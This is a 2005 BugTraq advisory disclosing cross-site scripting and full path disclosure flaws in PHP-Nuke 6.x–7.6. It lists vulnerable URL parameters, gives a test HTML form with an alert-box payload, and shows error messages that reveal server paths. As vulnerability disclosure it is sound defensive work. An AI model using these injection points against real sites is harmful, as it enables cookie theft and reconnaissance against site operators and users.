BugTraq
Full path disclosure and XSS in PHPNuke Apr 03 2005 09:17PM
SecurityReason (sp3x securityreason com)


-=[ SecurityReason-2005-SRA#04 ]=-

-=[ Full path disclosure and XSS in PHPNuke ]=-

Author: sp3x
Date: 3. April 2005

In Memory of John Poul II :
===========================

"Love converts hearts and gives peace," - John Poul II [The Great]
"To miłość nawraca serca i daruje pokój ludzkości, która wydaje się czasem zagubiona i

zdominowana przez siłę zła, egoizmu i strachu" - Jan Paweł II [WIELKI]

Affected software :
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PHP-Nuke version : 6.x - 7.6

Description :
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PHP-Nuke is a Web Portal System, storytelling software, News system, online community or

whatever you want to call it. The goal of PHP-Nuke is to have an automated web site to

distribute news and articles with users system. Each user can submit comments to discuss the

articles, just similar to Slashdot and many others. Main features include: web based admin,

surveys, top page, access stats page with counter, user customizable box, themes manager for

registered users, friendly administration GUI with graphic topic manager, option to edit or

delete stories, option to delete comments, moderation system, Referers page to know who link

us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners

Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more

friendly functions. PHP-Nuke is written 100% in PHP and requires Apache Web server, PHP and a

SQL (MySQL, mSQL, PostgreSQL, ODBC, ODBC_Adabas, Sybase or Interbase). Support for 25

languages, Yahoo like search engine, Comments option in Polls, lot of themes, Ephemerids

manager, File Manager, Headlines, download manager, faq manager, advanced blocks systems,

reviews system, newsletter, categorized articles, multilanguage content management, phpBB

Forums included and a lot more.

Vulnerabilities :
*****************

Cross-site scripting - XSS :
============================

In PHPNuke there are XSS that can be used to steal cookies and do other operations, which in
normal conditions are not permitted by browser's cross-domain security restrictions.

Example :
=========

http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q

uery=[our query]
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q

uery=[our_query]&type=users&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q

uery=[our_query]&type=comments&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q

uery=[our_query]&type=stories&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q

uery=[our_query]&type=reviews&category=2
http://[target]/[nuke_dir]/modules.php?name=FAQ&myfaq=yes&id_cat=1&categ
ories=45435[XSS]
http://[target]/[nuke_dir]/banners.php?op=EmailStats&login=[our_login]&c
id=1&bid=[XSS]
http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=t
erms&eid=1&ltr=[XSS]

To test XSS for example in

http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=t
erms&eid=1&ltr=[XSS] we

can
create a form.

test.html :
-----------
<form name="mantra" method="POST" action="http://[target]/[nuke_dir]/modules.php">
<p>XSS:
<input type="text" name="newdownloadshowdays" value="7">
<br>
<input type="hidden" name="name" value="Downloads">
<br>
<input type="hidden" name="d_op" value="NewDownloads">
</p>
<p>
<input type="submit" name="Submit" value="Go!">
<br>
</p>
</form>
-----------------
And enter to inputfield "XSS" this :<body onload="alert('XSS')";> and click "Go!" :)
Or just replace [XSS] with <h1>w33t</h1> in GET method

Full Path Disclosure :
======================

Full path to script must be kept in secret because it can lead to successful attack on the
website. If the attacker know Full path to script , he can start searching some more info on

others folders or about the server where the site is and then try to break in.

Many scripts can be accessed directly and this will provoke standard
php error messages, which leads to full path disclosure.

Examples :
----------

http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=userinfo

Error message :
---------------
=====================================
Fatal error: Call to undefined function: nav() in

/[info]/public_html/phpnuke/modules/Your_Account/index.php on line 221

======================================

http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=my_headlines

Error message :
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=====================================
Warning: fsockopen(): php_network_getaddresses: getaddrinfo failed: Name or service not known

in /[info]/public_html/phpnuke/modules/Your_Account/index.php on line 1548

Warning: fsockopen(): unable to connect to :80 in

/[info]/public_html/phpnuke/modules/Your_Account/index.php on line 1548
=====================================

http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=s
earch

=======================================
Fatal error: Call to undefined function: search() in

/[info]/www/phpnuke/html/modules/Encyclopedia/index.php on line 267
======================================

How to fix :
============

Download the new version of the script or update.
Because phpnuke don't have security contact, you can download fix from
www.securityreason.com/patch/SecurityReason-Fix[1].rar
Also on www.nukefixes.com the fix will be avaible soon

Contact :
=========

sp3x[at]securityreason[dot].com
www.securityreason.com

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